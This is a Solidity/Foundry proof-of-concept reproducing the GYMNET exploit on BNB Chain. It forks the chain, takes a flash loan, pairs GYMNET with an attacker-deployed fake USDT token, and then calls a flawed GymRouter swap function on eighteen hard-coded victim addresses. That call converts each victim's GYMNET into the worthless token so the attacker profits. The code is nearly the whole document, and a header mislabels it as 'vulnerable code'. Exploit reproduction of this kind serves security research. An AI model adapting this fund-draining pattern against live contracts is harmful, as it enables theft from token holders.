HIGH severity: GYMNET exploit (unknown). SPDX-License-Identifier: UNLICENSED @KeyInfo - Total Lost : Unclear Attacker : https://bscscan.com/address/0x97eace4702217c1fea71cf6b79647a8ad5ddb0eb Attack Contract : https://bscscan.com/address/0xb8f83f38e262f28f4e7d80aa5a0216378e92baf2 Vulnerable Contract : https://bscscan.com/address/0x6b8697959

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

// @KeyInfo - Total Lost : Unclear
// Attacker : https://bscscan.com/address/0x97eace4702217c1fea71cf6b79647a8ad5ddb0eb
// Attack Contract : https://bscscan.com/address/0xb8f83f38e262f28f4e7d80aa5a0216378e92baf2
// Vulnerable Contract : https://bscscan.com/address/0x6b869795937dd2b6f4e03d5a0ffd07a8ad8c095b
// Attack Tx : https://bscscan.com/tx/0x7fe96c00880b329aa0fcb00f0ef3a0766c54e13965becf9cc5e0df6fbd0deca6

// @Analysis
// https://twitter.com/AnciliaInc/status/1686605510655811584

interface IGymRouter {
    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] memory path,
        address to
    ) external;
}

contract GYMTest is Test {
    IERC20 GYMNET = IERC20(0x0012365F0a1E5F30a5046c680DCB21D07b15FcF7);
    IERC20 fakeUSDT = IERC20(0x2A1ee1278a8b64fd621B46e3ee9c08071cA3A8a5);
    // PancakeSwap V2: GYMNET-fakeUSDT
    IERC20 CakeLP = IERC20(0x8e1b75e6c43aEAf5055De07Ab4b76E356d7BB2db);
    Uni_Pair_V2 PancakePair = Uni_Pair_V2(0xf5D3cba24783586Db9e7F35188EC0747FfB55F9B);
    Uni_Router_V2 PancakeRouter = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);
    IGymRouter GymRouter = IGymRouter(0x6b869795937DD2B6F4E03d5A0Ffd07A8AD8c095B);

    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);

    function setUp() public {
        cheats.createSelectFork("bsc", 30_448_986);
        cheats.label(address(GYMNET), "GYMNET");
        cheats.label(address(fakeUSDT), "fakeUSDT");
        cheats.label(address(CakeLP), "CakeLP");
        cheats.label(address(PancakePair), "PancakePair");
        cheats.label(address(PancakeRouter), "PancakeRouter");
        cheats.label(address(GymRouter), "GymRouter");
    }

    function testExploit() public {
        // Attacker deploys fakeUSDT contract，forcing victim's gym to exchange fakeUSDT to earn
        // Start with below amount of fakeUSDT. Crucial for further adding liquidity to PancakeRouter
        // Attack contract already had fakeUSDT balance in attack tx
        deal(address(fakeUSDT), address(this), 9_990_000 * 1e18);
        // emit log_named_decimal_uint(
        //     "Attacker fakeUSDT balance before exploit",
        //     fakeUSDT.balanceOf(address(this)),
        //     fakeUSDT.decimals()
        // );
        emit log_named_decimal_uint(
            "Attacker GYMNET balance before exploit", GYMNET.balanceOf(address(this)), GYMNET.decimals()
        );
        console.log("1. Taking GYMNET flashloan");
        PancakePair.swap(1_010_000 * 1e18, 0, address(this), new bytes(1));
    }

    function pancakeCall(address _sender, uint256 _amount0, uint256 _amount1, bytes calldata _data) external {
        GYMNET.approve(address(PancakeRouter), ~uint256(0));
        fakeUSDT.approve(address(PancakeRouter), ~uint256(0));
        CakeLP.approve(address(PancakeRouter), ~uint256(0));

        console.log("2. Adding GYMNET-fakeUSDT liquidity");
        PancakeRouter.addLiquidity(
            address(GYMNET),
            address(fakeUSDT),
            GYMNET.balanceOf(address(this)),
            fakeUSDT.balanceOf(address(this)),
            0,
            0,
            address(this),
            block.timestamp + 1000
        );

        emit log_named_decimal_uint(
            "2a. Added attacker's liquidity", CakeLP.balanceOf(address(this)), CakeLP.decimals()
        );

        address[] memory victims = new address[](18);
        victims[0] = 0x0C8bbd0629050b78C91F1AAfDCF04e90238B3568;
        victims[1] = 0xbDFcA747646975F3bb9dA26BD55DAf2168c40Fe7;
        victims[2] = 0x4AD478039bE7D1aD17C2eCBEb1029c29366c2789;
        victims[3] = 0x081c96340738e397111E010137E04E97fB444E74;
        victims[4] = 0xb611329241a51F84519BDc773E5E98F94e2D7491;
        victims[5] = 0x3720d2BbFC8Bd5d6D62c8bf71fFD33Ea20cbEAE5;
        victims[6] = 0x07E12a333B500a2f7048131400f0D216eb226F10;
        victims[7] = 0xe01edc2B47576bf4aEF9fa311B1f16961c634F76;
        victims[8] = 0x96346D0302E8640fbB165040B3d039bf10ce9565;
        victims[9] = 0x88c08aafFDd547EBa783c84c23b549B5222fFB56;
        victims[10] = 0x38B9a3Bd8693D59d38769A7CE8802632D1DB9D67;
        victims[11] = 0x0E1556F63B7d30D6d7966Cb7b194eA7A8F3C588a;
        victims[12] = 0x7E1d08f4960b3825eb3da2abbE3Cc849Ff53576c;
        victims[13] = 0xA4265EfFEeeeC7dbc5b323610ccD738E8A1aE298;
        victims[14] = 0xE62551B1385FD59C6A39224838Ba432B0F7735f2;
        victims[15] = 0xE52234Ed813EBFC625477B4626AB84Ea09A82556;
        victims[16] = 0x819B684fd18D0512EFC89c81aEAadFDdA61Fa7fC;
        victims[17] = 0xd6c382B2624293cEf5A43E30e12cc0e6b3DEd153;

        console.log("3. Exploiting vulnerability in gym router...");
        for (uint256 i; i < victims.length; ++i) {
            GYMNETTofakeUSDT(victims[i]);
        }

        emit log_named_decimal_uint(
            "4. Removing GYMNET-fakeUSDT liquidity", CakeLP.balanceOf(address(this)), CakeLP.decimals()
        );
        PancakeRouter.removeLiquidity(
            address(GYMNET),
            address(fakeUSDT),
            CakeLP.balanceOf(address(this)),
            0,
            0,
            address(this),
            block.timestamp + 1000
        );

        console.log("5. Repaying GYMNET flashloan");
        GYMNET.transfer(address(PancakePair), 1_043_936 * 1e18);

        // emit log_named_decimal_uint(
        //     "Attacker fakeUSDT balance after exploit",
        //     fakeUSDT.balanceOf(address(this)),
        //     fakeUSDT.decimals()
        // );
        emit log_named_decimal_uint(
            "Attacker GYMNET balance after exploit", GYMNET.balanceOf(address(this)), GYMNET.decimals()
        );
    }

    function GYMNETTofakeUSDT(
        address victim
    ) internal {
        address[] memory path = new address[](2);
        path[0] = address(GYMNET);
        path[1] = address(fakeUSDT);
        uint256[] memory amounts = PancakeRouter.getAmountsOut(GYMNET.balanceOf(victim), path);
        uint256 amountOutMin = amounts[1] - (amounts[1] / 20);
        GymRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(
            GYMNET.balanceOf(victim), amountOutMin, path, victim
        );
    }
}


Vulnerability type: unknown